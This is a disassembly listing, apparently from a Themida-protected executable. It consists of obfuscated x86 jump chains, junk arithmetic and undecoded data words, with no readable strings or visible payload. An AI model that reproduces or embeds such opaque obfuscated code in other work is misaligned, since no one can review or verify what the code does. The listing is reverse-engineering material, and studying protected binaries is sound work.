dd 0A03AE9h, 47033500h, 0C2893B8Eh, 0E9D10158h, 565h, 555EF109h
dd 0E904EC83h, 0A56Ch, 52240C89h, 5B00E9h, 0C9E95200h
dd 1FFFFF9h, 0EC815BD8h, 4, 89240489h, 208AE9E0h, 0DAB50000h
dd 285AD500h, 0C8B66EBh, 0E9545024h, 0FFFFFA81h, 0BA52E789h
dd 65BB5D87h, 92D0F792h, 486EEA81h, 0F281587Ah, 41CA5A0Eh
dd 4587C781h, 0D7010875h, 4587B951h, 0CF290875h, 92E95A59h
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546143: ; CODE XREF: Themida_:00544DBEj
push esi
mov esi, 0A0F500Fh
sub ebx, esi
pop esi
sub ebx, 1DC852B1h
push 3DB5h
mov [esp], edx
jmp loc_5494B0
; ---------------------------------------------------------------------------
db 66h
dd 5124048Bh, 0C1815954h, 4, 80AE9h
db 0
; ---------------------------------------------------------------------------
loc_546171: ; CODE XREF: Themida_:0054960Aj
mov edi, 4
add ecx, edi
mov edi, [esp]
add esp, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_544B72
; ---------------------------------------------------------------------------
loc_54618C: ; CODE XREF: Themida_:0054E9AFj
add eax, ebp
mov ebp, [esp]
add esp, 4
pop esi
jmp loc_54ABE5
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0E9h
dd 812EDD1Ch, 0F67232EBh, 0FEB812Ah, 813EC963h, 64466CEBh
dd 725D6805h, 1C890000h, 0E95B5424h, 24CDh, 0FF240489h
dd 58042474h, 8B24048Fh, 4082424h, 0AFE99C24h, 66FFFFE3h
dd 5024048Bh, 59E95854h, 57000013h, 715FE9h, 4C48100h
dd 81000000h, 2D738FC3h, 57FB0172h, 3D5562BFh, 35BB532Ah
dd 214E057Fh, 0F04AE9DFh, 1C8BFFFFh, 4C48124h, 66000000h
dd 0C5E95059h, 89000096h, 4B951E3h, 81000000h, 5B68B6EBh
dd 0BEEB811Ch, 81419A33h, 155D5FC3h, 81CB0159h, 155D5FEBh
dd 46F6E959h, 8B660000h, 0D682404h, 8900005Eh, 5D54242Ch
dd 53BEE9h, 4EC8300h, 0E9240489h, 27C8h
; ---------------------------------------------------------------------------
loc_546264: ; CODE XREF: Themida_:0054DB65j
xor ebx, ecx
jmp loc_54E7CB
; ---------------------------------------------------------------------------
aL4Swm db '▀4$ИWM',0
dw 0B300h
dd 0E93AB54Bh, 9C01h
; ---------------------------------------------------------------------------
loc_54627C: ; CODE XREF: Themida_:0054DA18j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_545D99
; ---------------------------------------------------------------------------
loc_546291: ; CODE XREF: Themida_:0054BDF7j
and eax, ebx
push dword ptr [esp]
pop ebx
push 95Dh
jmp loc_54A4EA
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 419589Dh, 0D8E99C24h, 6800001Bh, 330h, 0E9240C89h, 3B4Dh
dd 0F1BFE95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5462C2: ; CODE XREF: Themida_:0054725Dj
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_547553
; ---------------------------------------------------------------------------
db 5Eh, 35h, 0CCh
dd 313546ACh, 24048BC2h, 4C481h, 89E90000h
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5462E7: ; CODE XREF: Themida_:0054BCDCj
push eax
jmp loc_54F8EE
; ---------------------------------------------------------------------------
db 0B8h, 0EFh, 15h
dd 0C2317D44h, 0FFB95158h, 1FFFFFFh, 4C4BE9CAh, 0C6880000h
dd 240FE9h, 2CF00000h, 0F9B7539Ch, 80C8CF80h, 0F8280CEFh
dd 1FC2E9h, 24048900h, 4B8h, 1083E900h, 0EC830000h, 24048904h
dd 0B6717B8h, 0B960BA2Fh, 0BD552A75h, 38034DDCh, 815DEA01h
dd 0E20DB6EAh, 81C20127h, 0E20DB6C2h, 0DCEA8127h, 5838034Dh
dd 429BBF57h, 0B9514F4Dh, 4220294Dh, 17DEE981h, 0CA0116E9h
dd 88D9E9h, 41EE2D00h, 0E95062DFh, 0FFFFECFBh, 1EE81h
dd 0EE810000h, 1EAD37D3h, 0B4C68146h, 29549917h, 0C2815EF2h
dd 2FA71C17h, 0F706E2C1h, 18F281DAh, 298C7BB7h, 0F8015AD0h
dd 7F3BD805h, 93DBE95Fh, 34FF0000h, 2434FF24h, 48DCE9h
db 0
; ---------------------------------------------------------------------------
loc_5463BD: ; CODE XREF: Themida_:0054DF77j
sub edx, 717C331Fh
shl edx, 7
not edx
push ebp
mov ebp, 957CEEFBh
sub edx, ebp
pop ebp
add ecx, edx
pop edx
xchg ecx, [esp]
pop esp
push 4E10h
mov [esp], edx
push 1
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_54F7C4
; ---------------------------------------------------------------------------
db 5Ch, 0F7h, 0D7h
dd 9707EFC1h, 4E9D8F7h, 5000030h, 4, 5C240487h, 6D6EEB81h
dd 0FD6824CEh, 8900002Fh, 0CF68243Ch, 5F350D76h, 2122E947h
dd 0D8290000h, 45ABE9h, 0E92A2C00h, 441Ah, 8924248Bh, 0D9E9243Ch
dd 1FFFFFCh, 5A64E9FBh, 815E0000h, 0F36AC3C3h, 0ABC3811Bh
dd 11C2911h, 5B42E9F3h, 0E9530000h, 0D05h, 4247429h, 4244481h
dd 7AB05234h, 4246C81h, 6CD146D5h, 8324348Bh, 0BF5704C4h
dd 0AEB1196h, 12DAE9h, 4EAC100h, 6CDBF281h, 7E90E85h, 5A000077h
dd 4EC81h, 14890000h, 46824h, 148B0000h, 4C48324h, 148BD601h
dd 4C48124h, 33000000h, 34312434h, 24343324h, 8360E9h
dd 81C32900h, 0D87E47C3h, 0F1BB535Bh, 81643A56h, 32880C3h
dd 0BD555624h, 29EC47EBh, 0DCE9EE89h, 5200009Ah, 0D1E931B6h
db 66h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5464E7: ; CODE XREF: Themida_:00545D44j
push ebx
jmp loc_5447E8
; ---------------------------------------------------------------------------
db 68h, 4Ah, 72h
dd 36E90000h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5464F7: ; CODE XREF: Themida_:005470E5j
pop dword ptr [esp]
jmp loc_546A09
; ---------------------------------------------------------------------------
db 1
dd 0ED8158C5h, 4, 0FFE512E9h, 4C483FFh, 4562972Dh, 5D82965h
dd 65456297h, 8DEFE9h, 2434FF00h, 4EC835Ah, 89243489h
dd 4C681E6h, 83000000h, 0FF5604C6h, 5E042474h, 5C24048Fh
dd 0C6E9D089h, 81FFFFE4h, 0B4238BEFh, 4FE95D28h, 58000086h
dd 0FAE9F828h, 5300004Dh, 6E8E6852h, 0E95A24FEh, 7F40h
dd 0A6BD555Ah, 153B252h, 8B04246Ch, 0C481242Ch, 4, 0E9240401h
dd 6BB8h, 4EC81h, 14890000h, 56E28924h, 468h, 8EADE900h
dd 2C8B0000h, 4C48324h, 15AD189h, 4DB3E9CFh, 148B0000h
dd 0F890E924h, 3C8BFFFFh, 4C48124h, 83000000h, 0CFE904C6h
dd 6600000Dh, 0E924048Bh, 2026h, 240C8B66h, 8904EC83h
dd 0C0E92404h, 8B000045h, 0C4832434h, 7EE2E904h, 0C0830000h
dd 54CD2D01h, 0C30113D7h, 8324048Bh, 0C38304C4h, 74FF5302h
dd 1C8B0424h, 4C48324h, 8B24048Fh, 8B662424h, 0E9512404h
dd 79C6h, 81595451h, 4C1h, 4BF5700h, 0E9000000h, 7095h
dd 0E95BDE89h, 1CEAh, 243C8B5Bh, 0CE9h, 0C335A00h, 240C3124h
dd 0FFE9F4E9h, 0E38953FFh, 2CFE9h, 5BDD0100h, 0E9242C87h
dd 2232h, 8B04C483h
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54AA27
; ---------------------------------------------------------------------------
dw 8B66h
dd 8952240Ch, 4C281E2h, 81000000h, 4EAh, 24143300h, 33241431h
dd 99E92414h, 0FFFFFFFDh, 0E95E2434h, 30E0h, 66242C89h
dd 665F0DBDh, 2AF3F581h, 0E9EA2166h, 8A11h
; ---------------------------------------------------------------------------
loc_5466B4: ; CODE XREF: Themida_:005473FBj
add esi, 4
push edx
mov edx, 4
jmp loc_54FA41
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 8304C483h, 0CBE904ECh
db 9Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5466D3: ; CODE XREF: Themida_:005478BAj
shl edi, 3
xor edi, 507810C4h
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
add ecx, 4
push eax
push esi
mov esi, 1658573Bh
neg esi
and esi, 598D7069h
add esi, 70EA59DDh
xor esi, 498568D2h
add esi, 4CA40877h
mov eax, esi
pop esi
sub eax, 73BD6A39h
inc eax
shl eax, 4
neg eax
shl eax, 5
jmp loc_54A238
; ---------------------------------------------------------------------------
db 66h
dd 68240C8Bh, 105Dh, 32CE9h
db 0
; ---------------------------------------------------------------------------
loc_546731: ; CODE XREF: Themida_:0054EE0Aj
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_54D042
; ---------------------------------------------------------------------------
aTsW db 'TИ©w',0
dw 100h
dd 24348BF3h, 8104C483h, 4C3h, 241C8700h, 2024055Ch, 0D8291CC9h
dd 4ACBD55h, 1DE93235h, 89FFFFE9h, 0B1E957C7h, 0ADFFFFFEh
dd 774868h, 241C8900h, 2B4335BBh, 4030055Fh, 0D829451Ah
dd 1A40302Dh, 0FF27E945h, 0E3C0FFFFh, 34B8E907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5467A6: ; CODE XREF: Themida_:0054584Ej
mov [esp], ebx
mov ebx, 247556E4h
dec ebx
add ebx, 6187114Eh
push 6D66h
mov [esp], edx
mov edx, 0E5523ADh
push edx
xchg ebx, [esp]
not ebx
jmp loc_547978
; ---------------------------------------------------------------------------
loc_5467CD: ; CODE XREF: Themida_:0054EEFCj
add esp, 4
add esp, 4
push ecx
push esp
jmp loc_54A6FF
; ---------------------------------------------------------------------------
db 58h, 53h, 0BBh
dd 544D34BDh, 0E903E3C1h, 82EEh
; ---------------------------------------------------------------------------
loc_5467EC: ; CODE XREF: Themida_:0054805Fj
xor ecx, 3F932BCFh
xchg esi, ecx
inc esi
xchg esi, ecx
jmp loc_54B6BF
; ---------------------------------------------------------------------------
dd 0EAE9F088h, 0F7000059h, 0DEC281DAh, 10C671Ch, 5323E9D6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546812: ; CODE XREF: Themida_:0054789Dj
pop ecx
jmp loc_54B7C1
; ---------------------------------------------------------------------------
aQbFisnd db 'Q│,$╣[ДIИnD',0
dd 63B95100h, 0BA1B4438h, 0E4BBC7A1h, 8159CA01h, 0B55F2DC6h
dd 81D62968h, 0B55F2DEEh, 17F5E968h, 0C890000h, 53595424h
dd 4DD3B951h, 0D1F70204h, 4104E1C1h, 6A2FC981h, 81E92404h
dd 68FFFFF0h, 6293h, 0E9242489h, 0FFFFE389h, 5B66DE30h
dd 156268h, 240C8900h, 0C1FEA9B1h, 8057E980h, 0E18012C9h
dd 29C3E9CFh, 0E3890000h, 4C381h, 0EB830000h, 34E6E904h
dd 0C1810000h, 2, 31240C33h, 0C33240Ch, 24248B24h, 9AABE9h
dd 0E9C9FE00h, 7D8Eh
; ---------------------------------------------------------------------------
loc_5468BC: ; CODE XREF: Themida_:0054F272j
mov [esp], edi
sub esp, 4
jmp loc_54FC88
; ---------------------------------------------------------------------------
dw 0C483h
dd 0E2895204h, 0FFECACE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5468D5: ; CODE XREF: Themida_:005496BEj
push dword ptr [esp]
pop ebx
add esp, 4
push 4329h
mov [esp], esi
push esp
pop esi
push ecx
jmp loc_54EEC0
; ---------------------------------------------------------------------------
a1Sem db '1вИ┘M',0
align 2
loc_5468F6: ; CODE XREF: Themida_:0054EEDEj
pop esp
mov [esp], ebp
jmp loc_545761
; ---------------------------------------------------------------------------
db 5Ch
dd 0E9F1F766h, 547Bh, 4246C01h, 4244481h, 639C335Eh, 0E9242C8Bh
dd 9625h, 4C381h, 0C3810000h, 4, 0E9241C87h, 3EE1h, 388B6857h
dd 93E90000h, 0BA000049h, 1C1A6B08h, 4245401h, 0FFFC1FE9h
dd 9EC381FFh, 8169424Fh, 1463E8C3h, 81EB8129h, 0FF702551h
dd 0ED2AE930h, 5F54FFFFh, 4C781h, 0C7810000h, 4, 31243C33h
dd 0EE9243Ch, 56000023h, 6B5DE957h, 0EC830000h, 241C8904h
dd 7132D5BBh, 5E3C151h, 6434CB81h, 0CFE97F18h, 81000059h
dd 2C5h, 242C8700h, 6624248Bh, 9C240409h, 0FFDBD9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5469B1: ; CODE XREF: Themida_:005457BBj
mov esi, 2D2809B2h
and esi, 2B554486h
add esi, 180F0D6Eh
add esi, 271D7AC4h
xor esi, 5B46154Ch
sub esi, 7E1E5DB9h
sub esi, 74CC12BAh
mov ecx, esi
jmp loc_54A20D
; ---------------------------------------------------------------------------
loc_5469E1: ; CODE XREF: Themida_:0054B157j
pop edx
push ebp
neg dword ptr [esp]
pop ebp
xor ebp, 0D57FBFDCh
sub [edi+24h], ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
add ebx, eax
jmp loc_54491C
; ---------------------------------------------------------------------------
loc_546A09: ; CODE XREF: Themida_:005464FAj
pop esp
mov cx, [esp]
push 68B9h
mov [esp], eax
mov eax, esp
push ecx
push edi
mov edi, 6ED6224Fh
add edi, 0C80C4EE2h
jmp loc_54F956
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 394DE9h, 0B9515C00h, 221473F3h, 5559CE31h, 0CE6E9h
db 0
; ---------------------------------------------------------------------------
loc_546A45: ; CODE XREF: Themida_:00546D5Bj
pop eax
jmp loc_54D54F
; ---------------------------------------------------------------------------
db 29h
dd 8104247Ch, 55042444h, 5F68B71Eh, 0FFEB18E9h, 242C89FFh
dd 0C1E9E589h, 29000015h, 9A25E9EEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546A6E: ; CODE XREF: Themida_:00548E7Cj
mov ch, 67h
sub ch, 26h
jmp loc_54E35E
; ---------------------------------------------------------------------------
dd 89243489h, 4C681E6h, 81000000h, 4ECh, 24148900h, 3D4BB53h
dd 0CB8174EEh, 593F67h, 81D3F743h, 0FF3FFDC3h, 5BDA8974h
dd 33FEC681h, 0D6290433h, 0A89B850h, 7E908FDh, 8B000004h
dd 0C4832434h, 2434FF04h, 123AE95Bh, 63680000h, 89000018h
dd 39E92404h, 0FEFFFFF5h, 0C6ED80C5h, 8059EF88h, 0E950F3F7h
dd 6942h, 41D4E95Ch, 0EA810000h, 3F491AB5h, 7DF8F281h
dd 0F7E97364h, 0E9FFFFE2h, 0FFFFDA8Ah, 51242C8Bh, 8904EC83h
dd 4832424h, 0C8B0424h, 4C48324h, 208BE9h, 14896600h, 2020E924h
dd 93680000h, 89000068h, 0AEE92434h, 8B00000Bh, 0C481242Ch
dd 4, 0F7ECE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546B3E: ; CODE XREF: Themida_:0054C66Dj
add esp, 4
sub esp, 4
mov [esp], esi
push 70596B11h
push dword ptr [esp]
pop esi
add esp, 4
sub edi, 37997547h
sub edi, esi
add edi, 37997547h
push dword ptr [esp]
pop esi
add esp, 4
sub edi, 6A6D05D6h
jmp loc_548583
; ---------------------------------------------------------------------------
dw 0FA2Dh
dd 0E93D005Dh, 7DD9h, 4C381h, 0C3830000h, 4514E904h, 4330000h
dd 24248B24h, 6F68F9F7h, 0E9000040h, 0FFFFE9E7h, 3A0DE981h
dd 0C8014A5Ah, 4E88359h, 0F50E9h, 357D6800h, 24890000h
dd 24048324h, 243C8B04h, 1E97E9h, 2CF80000h, 885B664Bh
dd 0C28058C2h, 0FFD028A2h, 148B2434h, 4C48124h, 68000000h
dd 57C1h, 89240C89h, 4C181E1h, 81000000h, 4C1h, 240C8700h
dd 4FEB805Ch, 504EE9h, 56E28900h, 30F0BF57h, 76E938FCh
dd 89000056h, 4B951E0h, 1000000h, 7203E9C8h, 8B660000h
dd 6857240Ch, 6F5Fh, 4EC81h, 24890000h, 5348E924h, 68580000h
dd 34AEh, 68243C89h, 3D16h, 0B8240489h, 3F724973h, 47D50F2Dh
dd 0E9C78919h, 4CD0h, 3C8BFE29h, 1D20E924h, 0C4680000h
dd 8900007Bh, 81B9240Ch, 81702551h, 983EE6EBh, 416EE92Fh
dd 5CF60000h, 805A0124h, 0E6C092E6h, 15C68005h, 9969E9h
dd 2B800h, 0EA810000h, 64BB5A22h, 0C281C201h, 64BB5A22h
dd 8324048Bh, 0FF5204C4h, 8B042474h, 0D0E92414h, 8B00001Ah
dd 2E92424h, 0ACFFFFF8h, 865BB353h, 86D2F6D3h, 0E9CBFED3h
dd 8AB4h, 50241489h, 91CDC68h, 4FA1E91Dh, 0FE880000h, 83241C8Bh
dd 0FE904C4h, 66000022h, 667E0868h, 51241C89h, 9DFE9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 730Bh
mov [esp], ebx
mov ebx, 15130EDEh
inc ebx
jmp loc_549646
; ---------------------------------------------------------------------------
loc_546D18: ; CODE XREF: Themida_:00544DEDj
xor ecx, esi
jmp loc_54E621
; ---------------------------------------------------------------------------
db 56h
dd 4BEh, 7603E900h, 9BB0000h, 131332Bh, 1EE95BD8h, 8100000Dh
dd 383A0CF5h, 5DEE0147h, 7CB6E956h, 0C5830000h, 39E2E904h
dd 0C4810000h, 4, 6826E9h
db 0
; ---------------------------------------------------------------------------
loc_546D59: ; CODE XREF: Themida_:0054E751j
mov ecx, eax
jmp loc_546A45
; ---------------------------------------------------------------------------
dd 3EBC6855h, 815D380Ch, 0E6EA18C5h, 5DEE89F8h, 0F681DEF7h
dd 530547B9h, 40C6E681h, 0BF576EBEh, 1CD07BFBh, 8107E7C1h
dd 0B9313DC7h, 81EFD161h, 2972FDC7h, 0FEBEE9B5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546D9A: ; CODE XREF: Themida_:0054AC02j
sub ebp, 463C28B7h
sub ebp, 716A1A56h
push ebp
not dword ptr [esp]
jmp loc_54CA97
; ---------------------------------------------------------------------------
db 5Ah
dd 5C24048Fh, 7B3BE9h, 88613400h, 885058C7h, 7F2268F8h
dd 1C890000h, 50C78824h, 54EEE9h, 4C1DBF00h, 0F781702Bh
dd 55817E0Ah, 83DFF747h, 0F781FFC7h, 298D3226h, 6D10BA52h
dd 97E94DD2h, 0F6000040h, 2EC81D1h, 66000000h, 68240489h
dd 61F7h, 0E9241C89h, 328Ah, 60E95345h, 20000052h, 805A66D4h
dd 0E4C001ECh, 0E7F48002h, 48BE588h, 4344E924h, 0FA880000h
dd 0C228585Bh, 66D03058h, 8124148Bh, 4ECh, 243C8900h, 0FFFD6CE9h
dd 0C8B66FFh, 4EC8124h, 89000000h, 0EC83240Ch, 24248904h
dd 4240483h, 4EC8359h, 2C64E9h, 0EF815D00h, 4, 5C243C87h
dd 0E9243489h, 10EBh, 0C609B568h, 116DE93Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546E82: ; CODE XREF: Themida_:0054C97Dj
mov [esp], edx
mov edx, 12B6478Ch
or edx, 5115819h
jmp loc_54CECE
; ---------------------------------------------------------------------------
loc_546E95: ; CODE XREF: Themida_:00545A1Dj
dec edx
add edx, 6E214238h
or ebp, edx
pop edx
inc ebp
add ebp, 38019BBh
jmp loc_54725B
; ---------------------------------------------------------------------------
db 83h
dd 1C8702C3h, 24248B24h, 240CD366h, 0D6CCE99Ch, 7735FFFFh
dd 290CCE39h, 875A58C6h, 895C2434h, 8B542414h, 4AE92414h
dd 8B000092h, 0E951241Ch, 0FFFFE109h, 15AD789h, 243C8BFAh
dd 0E904C483h, 7847h
; ---------------------------------------------------------------------------
loc_546EF0: ; CODE XREF: Themida_:0054ABCBj
mov edx, 75FA566Fh
add edx, 8C94E44h
not edx
not edx
jmp loc_547354
; ---------------------------------------------------------------------------
aIrvhc db '┴ЮVh≈',27h,0
align 4
dd 0E9240C89h, 2AC9h, 0E941B450h, 8597h, 2B951h, 0A8E90000h
dd 9000019h, 0E95E1C77h, 0FFFFD65Ah, 2404095Ch, 81E1E99Ch
dd 0E95D0000h, 3541h, 24048B5Ah, 8B04C483h, 0C4832414h
dd 7BEDE904h, 53AC0000h, 0ECC7E952h, 0F101FFFFh, 4711E9h
dd 0D1D3F700h, 28C381E3h, 15F1620h, 7E0CE9DEh, 248B0000h
dd 0D610E924h, 4BEFFFFh, 0F740F839h, 48EE81DEh, 1A9F4A4h
dd 0B8505EF3h, 68D27830h, 2F0EE9h
db 0
; ---------------------------------------------------------------------------
loc_546F95: ; CODE XREF: Themida_:0054EDEAj
mov ebp, 737959C8h
add ebp, 5554CEFh
jmp loc_54C7AB
; ---------------------------------------------------------------------------
db 68h, 61h, 31h
dd 0C890000h, 2B924h, 0C2810000h, 32016F60h, 10BCBD55h
dd 0E5D161B6h, 736FC581h, 0E5C16F0Fh, 5EDC104h, 59E4C581h
dd 0C5812C35h, 3C513E96h, 295DEA29h, 0EDB951CAh, 169C462h
dd 56E959CAh, 5800003Eh, 4244C29h, 4244481h, 0AD750AEh
dd 403E9h, 1C8B6600h, 2C48324h, 81E38953h, 4C3h, 0A1BE5600h
dd 0F770E250h, 1EE81DEh, 0E9000000h, 601h, 4BAFCB81h, 0A0E9369Dh
dd 8900000Bh, 97BA2414h, 0C14C4F20h, 0B95102EAh, 5F400E3Dh
dd 6956F181h, 0AAE90397h, 5C000086h, 348BF701h, 89E95224h
dd 8900006Bh, 4C381E3h, 81000000h, 4EBh, 55CFE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547066: ; CODE XREF: Themida_:0054761Cj
pop edx
inc ecx
inc ecx
jmp loc_54EB6A
; ---------------------------------------------------------------------------
dw 433h
dd 24043124h, 5C73E9h, 0D830AC00h, 0E974B252h, 439Eh
; ---------------------------------------------------------------------------
loc_547084: ; CODE XREF: Themida_:0054E844j
xchg ebp, [esp]
pop esp
mov [esp], eax
mov eax, esp
push ecx
mov ecx, 4
add eax, 5EB93C7Eh
add eax, ecx
push esi
mov esi, 13AF2AF4h
shl esi, 3
sub esi, 18285E64h
shl esi, 3
or esi, 770B6BBEh
shl esi, 8
sub esi, 3132C182h
sub eax, esi
pop esi
pop ecx
add eax, 2
push eax
push dword ptr [esp+4]
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_5464F7
; ---------------------------------------------------------------------------
dw 5B54h
dd 4C381h, 0EB810000h, 4, 5C241C87h, 5F5AE9h, 5224B700h
dd 17ACE9h, 0EDC18000h, 2858C130h, 0F03059CEh, 0D43E95Ah
dd 5580000h, 4, 2BB53h, 0D8010000h, 101E9h, 241CF600h
dd 0D454E99Ch, 1489FFFFh, 8B545124h, 0C483240Ch, 4C18104h
dd 83000000h, 0C8704E9h, 4895C24h, 0F3CBE924h, 0C581FFFFh
dd 0AA805E4Ch, 3540E9h, 89C38900h, 21585BDFh, 77FF5FF8h
dd 2434811Ch, 27992B8Eh, 0E92434FFh, 3D2Bh, 9D1C77FFh
dd 0D3665966h, 0E99C241Ch, 0FFFFD3FEh, 5BDE2159h, 1E87BF57h
dd 0FE210594h, 907DE95Fh, 0C5810000h, 4, 4C581h, 2C330000h
dd 242C3124h, 5C242C33h, 4C581h, 0B9510000h, 2, 0E959CD01h
dd 0FFFFE4F5h, 6E04E2B0h, 0A0E9C130h
db 26h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5471D3: ; CODE XREF: Themida_:0054E346j
dec ebx
jmp loc_54D9FB
; ---------------------------------------------------------------------------
db 1, 0F7h, 5Eh
dd 8324048Bh, 3C8704C4h, 10E1E924h, 0C2810000h, 4, 31241433h
dd 6E92414h
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5471FB: ; CODE XREF: Themida_:0054F810j
pop eax
add esp, 4
jmp loc_5493F8
; ---------------------------------------------------------------------------
loc_547207: ; CODE XREF: Themida_:0054807Aj
mov eax, esp
add eax, 4
jmp loc_5473CE
; ---------------------------------------------------------------------------
aPs_ db 'PИ.)',0
dd 0BF575800h, 4, 6B55E9h, 0CD686600h, 0CF4E938h, 0E95B0000h
dd 8D75h, 4BFh, 5FF80100h, 31240433h, 4332404h, 0BF0F5C24h
dd 197C68C8h, 9E90000h, 2900003Fh, 0A9E95BD9h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54725B: ; CODE XREF: Themida_:00546EA6j
add esi, ebp
jmp loc_5462C2
; ---------------------------------------------------------------------------
dw 0E981h
dd 4, 0E9240C87h, 7768h
; ---------------------------------------------------------------------------
loc_547270: ; CODE XREF: Themida_:00544E15j
pop ebp
jmp loc_54F94E
; ---------------------------------------------------------------------------
loc_547276: ; CODE XREF: Themida_:0054D841j
add ebx, 4A051ABCh
sub esp, 4
mov [esp], eax
mov eax, 27E71DEFh
neg eax
xor eax, 37A74F6Fh
xor ebx, eax
pop eax
xor esi, ebx
pop ebx
sub esi, 0D866CFE6h
sub eax, 4D93458Dh
add eax, esi
add eax, 4D93458Dh
pop esi
or eax, eax
jnz loc_54EFDD
push esi
push edi
mov edi, 43113C5Bh
mov esi, edi
pop edi
jmp loc_54C79F
; ---------------------------------------------------------------------------
loc_5472C1: ; CODE XREF: Themida_:0054848Ej
or edi, 260B10EDh
and edi, 90B5897h
xor edi, 6CD4729Ch
jmp loc_54F4E8
; ---------------------------------------------------------------------------
dd 0B775C62Dh, 58C1015Bh, 3304C183h, 0C31240Ch, 240C3324h
dd 0BA52535Ch, 213D2744h, 0BC7E9h, 89EA8100h, 423DDB31h
dd 1C2DC281h, 0BE56EF83h, 333B70BDh, 0FFF06BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547311: ; CODE XREF: Themida_:005484ABj
push eax
jmp loc_54CB5A
; ---------------------------------------------------------------------------
loc_547317: ; CODE XREF: Themida_:0054C86Aj
xchg ecx, ebx
neg ecx
xchg ecx, ebx
xor ebx, 813C6A4Eh
sub eax, ebx
pop ebx
add esi, eax
jmp loc_54F80D
; ---------------------------------------------------------------------------
db 0ACh, 2Ch, 35h
dd 7FE96304h, 8100002Ah, 65668EF2h, 59EA8163h, 8145B066h
dd 286B97C2h, 5AD6295Eh, 0E95EF389h, 1B9h
; ---------------------------------------------------------------------------
loc_547354: ; CODE XREF: Themida_:00546EFFj
and edx, 790367C8h
add edx, 87FCDB84h
add ebx, edx
pop edx
xchg ebx, [esp]
jmp loc_544838
; ---------------------------------------------------------------------------
db 88h
dd 5AD188C2h, 0FF2434FFh, 83582434h, 0C48104C4h, 4, 426EE9h
db 0
; ---------------------------------------------------------------------------
loc_547385: ; CODE XREF: Themida_:005475C5j
mov edx, esp
add edx, 4
jmp loc_549856
; ---------------------------------------------------------------------------
aVs db 'VИ╪;',0
align 4
dd 4C481h, 0FB890000h, 0E1F1E95Fh, 0CDFEFFFFh, 0FFF726E9h
dd 0FFC701FFh, 83582434h, 0BD5504C4h, 4, 875DEF29h, 0ADE9243Ch
dd 88000090h, 0F42EE9FEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5473CE: ; CODE XREF: Themida_:0054720Ej
add eax, 4
xchg eax, [esp]
pop esp
mov ecx, 44697FE7h
xor ecx, esi
pop esi
push edx
mov edx, 460C06D4h
and ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_544DE2
; ---------------------------------------------------------------------------
loc_5473F3: ; CODE XREF: Themida_:005491FEj
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_5466B4
; ---------------------------------------------------------------------------
dd 4244481h, 29B370FCh, 7381E9h, 81E38900h, 4C3h, 4C38300h
dd 0FFE4BAE9h, 5E5456FFh, 4EC81h, 0E90000h, 51FFFFFCh
dd 296168h, 24148900h, 8815B050h, 0D18858C2h, 80D1F65Ah
dd 0CB00ADE9h, 81240C8Bh, 4C4h, 8CC38000h, 65E468h, 241C8900h
dd 50E9C388h, 0B6FFFFEEh, 4C3DE996h, 81590000h, 3D217FCFh
dd 2844E96Ah, 0C8FE0000h, 450DE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54747A: ; CODE XREF: Themida_:0054F7C9j
mov [esp], eax
push esp
pop eax
push edx
jmp loc_54A805
; ---------------------------------------------------------------------------
db 0B8h, 4, 0
dd 70E90000h, 0B8FFFFF0h, 303951BBh, 0C2C787BDh, 5FC58135h
dd 29242E49h, 5FED81C5h, 58242E49h, 87BBA52h, 0D501564Fh
dd 0FFEB295Ah, 515D2434h, 0C181E189h, 4, 9F2BB53h, 0F3813807h
dd 54964B30h, 0EB81D3F7h, 60601332h, 6A3BB951h, 0CB012E05h
dd 72CB8159h, 815EA733h, 48C88EC3h, 0E9D90180h, 72BEh
dd 5432E951h, 0DA290000h, 6422C281h, 0E95B22FDh, 0FFFFD086h
dd 5002EFC1h, 6F18E9h, 8BD80100h, 0C481241Ch, 4, 0E9240487h
dd 0FFFFEAC1h
; ---------------------------------------------------------------------------
loc_547520: ; CODE XREF: Themida_:00545994j
sub eax, 663C40D4h
jmp loc_549C9D
; ---------------------------------------------------------------------------
dw 0C300h
